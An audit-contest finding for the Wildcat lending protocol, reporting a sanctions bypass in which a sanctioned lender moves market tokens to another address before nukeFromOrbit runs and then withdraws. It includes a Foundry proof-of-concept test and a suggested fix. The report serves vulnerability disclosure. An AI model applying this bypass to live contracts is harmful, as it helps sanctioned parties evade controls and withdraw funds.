code-423n4 / 2023-10-wildcat-findings

14 stars 10 forks source link

Sanction can be bypassed by transferring market token #621

Closed c4-submissions closed 1 year ago

c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketToken.sol#L64 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatMarketController.sol#L182

Vulnerability details

Description

Wildcat protocol queries Chainalysis oracle for checking whether lender is sanctioned or not. However according to docs(https://go.chainalysis.com/chainalysis-oracle-docs.html) provided by Chainalysis, they do not guarantee the timeliness of the data. What can happen here is as soon as the lender finds out that the address is sanctioned, he can transfer “market token” to other address he owns and request withdraw with that address. Unless sanction list from Chainalysis is updated within the batch duration period, lender can successfully withdraw his asset.

One assumption here is that “market token” has to be transferred before nukeFromOrbit is called(which can be easily done by front-running) as nukeFromOrbit moves all the balance to escrow contract.

PoC

// SPDX-License-Identifier: NONE
pragma solidity >=0.8.20;

import "forge-std/console.sol";

import './BaseMarketTest.sol';

contract Exploit is BaseMarketTest {
    function testSanctionBypass() external {
        address alice_bck = address(0xaaaa);

        _deposit(alice, 1e18);

        sanctionsSentinel.sanction(alice);

        // Before nukeFromOrbit is called, alice transfers balance to alice_bck
        vm.startPrank(alice);
        market.transfer(alice_bck, market.balanceOf(alice));
        vm.stopPrank();
        market.nukeFromOrbit(alice);

        // Grant alice_bck with withdrawOnly role
        address[] memory markets = new address[](1);
        markets[0] = address(market);
        controller.updateLenderAuthorization(alice_bck, markets);

        _requestWithdrawal(alice_bck, 1e18);
        uint32 expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration);

        // alice_bck address shouldn't be sanctioned by sentinel in this period
        fastForward(parameters.withdrawalBatchDuration);

        market.executeWithdrawal(alice_bck, expiry);

        console.log("Balance of alice_bck : %s", asset.balanceOf(alice_bck));
    }
}

Tools Used

Visual Studio Code, Foundry

Recommended Mitigation Steps

Check whether lender is sanctioned before transferring token.

Assessed type

Token-Transfer

c4-pre-sort commented 1 year ago

minhquanym marked the issue as duplicate of #54

c4-judge commented 1 year ago

MarioPoneder changed the severity to 3 (High Risk)

c4-judge commented 1 year ago

MarioPoneder marked the issue as satisfactory